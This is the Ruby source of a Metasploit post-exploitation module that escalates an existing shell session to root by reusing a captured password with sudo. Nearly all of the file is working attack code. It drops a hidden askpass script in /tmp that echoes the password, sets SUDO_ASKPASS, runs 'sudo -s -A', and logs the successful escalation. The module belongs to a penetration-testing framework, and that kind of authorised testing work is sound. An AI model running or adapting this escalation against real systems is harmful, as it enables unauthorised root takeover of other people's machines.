metasploit-framework/modules/post/multi/manage/sudo.rb

124 lines
4.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Multiple Linux / Unix Post Sudo Upgrade Shell',
'Description' => %q{
This module attempts to upgrade a shell account to UID 0 by reusing the
given password and passing it to sudo. This technique relies on sudo
versions from 2008 and later which support -A.
},
'License' => MSF_LICENSE,
'Author' => [
'todb <todb[at]metasploit.com>',
'Ryan Baxendale <rbaxendale[at]gmail.com>' # added password option
],
'Platform' => %w[aix linux osx solaris unix],
'References' => [
# Askpass first added March 2, 2008, looks like
[ 'URL', 'http://www.sudo.ws/repos/sudo/file/05780f5f71fd/sudo.h']
],
'SessionTypes' => [ 'shell' ]
)
) # Need to test 'meterpreter'
register_options(
[
OptString.new('PASSWORD', [false, 'The password to use when running sudo.'])
]
)
end
# Run Method for when run command is issued
def run
if session.type == 'meterpreter'
fail_with(Failure::BadConfig, 'Meterpreter sessions cannot be elevated with sudo')
end
print_status('SUDO: Attempting to upgrade to UID 0 via sudo')
sudo_bin = cmd_exec('which sudo')
if is_root?
print_status 'Already root, so no need to upgrade permissions. Aborting.'
return
end
if sudo_bin.empty?
print_error 'No sudo binary available. Aborting.'
return
end
get_root
end
def get_root
password = datastore['PASSWORD'] || session.exploit_datastore['PASSWORD']
if password.to_s.empty?
print_status 'No password available, trying a passwordless sudo.'
else
print_status "Sudoing with password `#{password}'."
end
askpass_sudo(password)
if is_root?
print_good 'SUDO: Root shell secured.'
report_note(
host: session,
type: 'host.escalation',
data: "User `#{session.exploit_datastore['USERNAME']}' sudo'ed to a root shell"
)
else
print_error "SUDO: Didn't work out, still a mere user."
end
end
# TODO: test on more platforms
def askpass_sudo(password)
if password.to_s.empty?
begin
::Timeout.timeout(30) do
cmd_exec('sudo -s')
end
rescue ::Timeout::Error
print_error 'SUDO: Passwordless sudo timed out. Might be blocking.'
rescue StandardError
print_error 'SUDO: Passwordless sudo failed. Check the session log.'
end
else
askpass_sh = '/tmp/.' + Rex::Text.rand_text_alpha(7)
begin
# Telnet can be pretty pokey, allow about 20 seconds per cmd_exec
# Generally will be much snappier over ssh.
# Need to timeout in case there's a blocking prompt after all
::Timeout.timeout(120) do
# Create the shell script that will pass the password to sudo
vprint_status "Writing the SUDO_ASKPASS script: #{askpass_sh}"
write_file(askpass_sh, "#!/bin/sh\necho '#{password}'\n")
register_file_for_cleanup(askpass_sh)
vprint_status 'Setting executable bit.'
cmd_exec("chmod +x #{askpass_sh}")
vprint_status 'Setting environment variable.'
# Bruteforce the set command. At least one should work.
cmd_exec("setenv SUDO_ASKPASS #{askpass_sh}")
cmd_exec("export SUDO_ASKPASS=#{askpass_sh}")
vprint_status 'Executing sudo -s -A'
cmd_exec('sudo -s -A')
end
rescue ::Timeout::Error
print_error 'SUDO: Sudo with a password timed out.'
rescue StandardError
print_error 'SUDO: Sudo with a password failed. Check the session log.'
end
end
end
end